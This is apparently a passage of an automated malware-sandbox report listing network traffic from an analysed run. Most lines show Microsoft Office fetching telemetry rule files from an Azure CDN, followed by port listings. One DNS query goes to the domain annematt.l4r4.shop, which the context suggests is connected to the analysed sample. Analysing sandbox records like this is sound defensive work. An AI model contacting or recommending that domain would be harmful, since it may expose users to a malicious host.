Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: annematt.l4r4.shop
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 56468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 56525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
